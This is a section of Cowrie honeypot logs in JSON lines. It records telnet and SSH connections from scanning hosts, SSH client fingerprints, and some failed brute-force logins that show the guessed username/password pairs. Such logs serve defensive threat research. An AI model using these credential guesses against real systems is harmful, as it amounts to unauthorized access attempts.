{"eventid":"cowrie.session.closed","duration":12.757230281829834,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:30.597658Z","src_ip":"181.115.108.139","session":"814f1c2be867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81964087486267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:32.196533Z","src_ip":"85.208.100.77","session":"7bf75bd5e562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":38008,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcd471395b76","protocol":"telnet","message":"New connection: 173.249.44.46:38008 (159.203.135.109:23) [session: fcd471395b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:32.258768Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44936,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa187e364410","protocol":"telnet","message":"New connection: 85.208.100.77:44936 (159.203.135.109:23) [session: aa187e364410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:34.331363Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":41286,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d79090ee173","protocol":"telnet","message":"New connection: 197.242.148.130:41286 (159.203.135.109:23) [session: 0d79090ee173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:34.520042Z"}
{"eventid":"cowrie.session.closed","duration":30.803932666778564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:37.104452Z","src_ip":"173.249.44.46","session":"ed475ab28fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":49754,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c419993576","protocol":"telnet","message":"New connection: 209.126.84.114:49754 (159.203.135.109:23) [session: 96c419993576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:39.207453Z"}
{"eventid":"cowrie.session.closed","duration":30.548703908920288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:40.135433Z","src_ip":"85.208.100.77","session":"e8c9ec3c228b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":60716,"dst_ip":"159.203.135.109","dst_port":23,"session":"b07d5e3ceb14","protocol":"telnet","message":"New connection: 85.208.100.77:60716 (159.203.135.109:23) [session: b07d5e3ceb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:41.410463Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51582,"dst_ip":"159.203.135.109","dst_port":23,"session":"824da3a20e67","protocol":"telnet","message":"New connection: 173.249.44.46:51582 (159.203.135.109:23) [session: 824da3a20e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:42.532388Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51630,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d0a7a6b610","protocol":"telnet","message":"New connection: 173.249.44.46:51630 (159.203.135.109:23) [session: 68d0a7a6b610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:42.568738Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0be8aa2e6e","protocol":"telnet","message":"New connection: 173.249.44.46:51954 (159.203.135.109:23) [session: ff0be8aa2e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:42.808335Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36144,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf08e021823","protocol":"telnet","message":"New connection: 85.208.100.77:36144 (159.203.135.109:23) [session: cbf08e021823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:42.968539Z"}
{"eventid":"cowrie.session.closed","duration":30.265332460403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:43.058307Z","src_ip":"173.249.44.46","session":"4722ce4fde74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36908,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f90a818f38","protocol":"telnet","message":"New connection: 85.208.100.77:36908 (159.203.135.109:23) [session: b5f90a818f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:43.336851Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":39624,"dst_ip":"10.17.0.5","dst_port":22,"session":"593513b0c3c1","protocol":"ssh","message":"New connection: 103.228.69.212:39624 (10.17.0.5:22) [session: 593513b0c3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.221474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.228371Z","src_ip":"103.228.69.212","session":"593513b0c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":41434,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd4b1888d65","protocol":"telnet","message":"New connection: 85.208.100.77:41434 (159.203.135.109:23) [session: cdd4b1888d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.274906Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.458273Z","src_ip":"103.228.69.212","session":"593513b0c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":55700,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a2367d2eb8e","protocol":"telnet","message":"New connection: 173.249.44.46:55700 (159.203.135.109:23) [session: 0a2367d2eb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.762985Z"}
{"eventid":"cowrie.session.closed","duration":120.00115656852722,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:45.779433Z","src_ip":"138.0.214.217","session":"93c71450bd9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326438426971436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:46.099757Z","src_ip":"173.249.44.46","session":"f3a39b46f4ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cq123456","message":"login attempt [root/Cq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:46.407442Z","src_ip":"103.228.69.212","session":"593513b0c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":38375,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef674b26ace2","protocol":"telnet","message":"New connection: 138.0.214.217:38375 (10.17.0.5:23) [session: ef674b26ace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:46.414183Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:47.641782Z","src_ip":"103.228.69.212","session":"593513b0c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27263617515564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:48.090035Z","src_ip":"85.208.100.77","session":"a1a9d031717d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36450219154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:48.453562Z","src_ip":"85.208.100.77","session":"e1cdcc0e1630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":60898,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2a3498cb9b","protocol":"telnet","message":"New connection: 173.249.44.46:60898 (159.203.135.109:23) [session: 8d2a3498cb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:49.614610Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3de935125ba","protocol":"telnet","message":"New connection: 43.134.118.172:37272 (10.17.0.5:23) [session: d3de935125ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:50.878932Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":34186,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3a344514e8","protocol":"telnet","message":"New connection: 173.249.44.46:34186 (159.203.135.109:23) [session: fc3a344514e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:50.974677Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":34342,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf7554bd4ee3","protocol":"telnet","message":"New connection: 173.249.44.46:34342 (159.203.135.109:23) [session: cf7554bd4ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:51.136891Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec49b86dfd8","protocol":"ssh","message":"New connection: 80.94.92.184:38038 (10.17.0.5:22) [session: 0ec49b86dfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:51.707086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:51.872694Z","src_ip":"80.94.92.184","session":"0ec49b86dfd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:51.876564Z","src_ip":"80.94.92.184","session":"0ec49b86dfd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:53.163480Z","src_ip":"80.94.92.184","session":"0ec49b86dfd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:54.465435Z","src_ip":"80.94.92.184","session":"0ec49b86dfd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83846139907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:58.164959Z","src_ip":"85.208.100.77","session":"6b59b0022077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40188,"dst_ip":"159.203.135.109","dst_port":23,"session":"36c493a86c1a","protocol":"telnet","message":"New connection: 85.208.100.77:40188 (159.203.135.109:23) [session: 36c493a86c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:58.359088Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c88b002c07","protocol":"telnet","message":"New connection: 85.208.100.77:40334 (159.203.135.109:23) [session: c7c88b002c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:58.414368Z"}
{"eventid":"cowrie.session.closed","duration":31.007951498031616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:03.266598Z","src_ip":"173.249.44.46","session":"fcd471395b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83333158493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:05.164584Z","src_ip":"85.208.100.77","session":"aa187e364410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":52096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fdb9a8b4024","protocol":"telnet","message":"New connection: 173.249.44.46:52096 (159.203.135.109:23) [session: 3fdb9a8b4024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:05.247110Z"}
{"eventid":"cowrie.session.closed","duration":31.422292709350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:05.942227Z","src_ip":"197.242.148.130","session":"0d79090ee173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56528,"dst_ip":"159.203.135.109","dst_port":23,"session":"98b12efd9eed","protocol":"telnet","message":"New connection: 85.208.100.77:56528 (159.203.135.109:23) [session: 98b12efd9eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:06.104627Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":56520,"dst_ip":"159.203.135.109","dst_port":22,"session":"7839701310fb","protocol":"ssh","message":"New connection: 187.16.96.250:56520 (159.203.135.109:22) [session: 7839701310fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:06.638619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:06.644435Z","src_ip":"187.16.96.250","session":"7839701310fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:06.762138Z","src_ip":"187.16.96.250","session":"7839701310fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123@","message":"login attempt [ubuntu/abc123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:07.260753Z","src_ip":"187.16.96.250","session":"7839701310fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:08.379796Z","src_ip":"187.16.96.250","session":"7839701310fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56176,"dst_ip":"159.203.135.109","dst_port":23,"session":"130c132b240d","protocol":"telnet","message":"New connection: 173.249.44.46:56176 (159.203.135.109:23) [session: 130c132b240d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:08.430415Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":57338,"dst_ip":"159.203.135.109","dst_port":23,"session":"912201825a57","protocol":"telnet","message":"New connection: 173.249.44.46:57338 (159.203.135.109:23) [session: 912201825a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:09.370304Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":35200,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fdc890ff5b0","protocol":"telnet","message":"New connection: 85.208.100.77:35200 (159.203.135.109:23) [session: 3fdc890ff5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:09.384545Z"}
{"eventid":"cowrie.session.closed","duration":30.875489711761475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:10.082831Z","src_ip":"209.126.84.114","session":"96c419993576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":39944,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db72035bc83","protocol":"ssh","message":"New connection: 209.99.185.195:39944 (10.17.0.5:22) [session: 3db72035bc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:10.744139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:10.749461Z","src_ip":"209.99.185.195","session":"3db72035bc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:10.864046Z","src_ip":"209.99.185.195","session":"3db72035bc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:11.350850Z","src_ip":"209.99.185.195","session":"3db72035bc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66591787338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:12.076256Z","src_ip":"85.208.100.77","session":"b07d5e3ceb14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:12.468534Z","src_ip":"209.99.185.195","session":"3db72035bc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":43058,"dst_ip":"159.203.135.109","dst_port":23,"session":"212572473af7","protocol":"telnet","message":"New connection: 85.208.100.77:43058 (159.203.135.109:23) [session: 212572473af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:12.856775Z"}
{"eventid":"cowrie.session.closed","duration":30.56169557571411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:13.093958Z","src_ip":"173.249.44.46","session":"824da3a20e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291293621063232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:03:13.099523Z","src_ip":"173.249.44.46","session":"ff0be8aa2e6e","protocol":"telnet"}
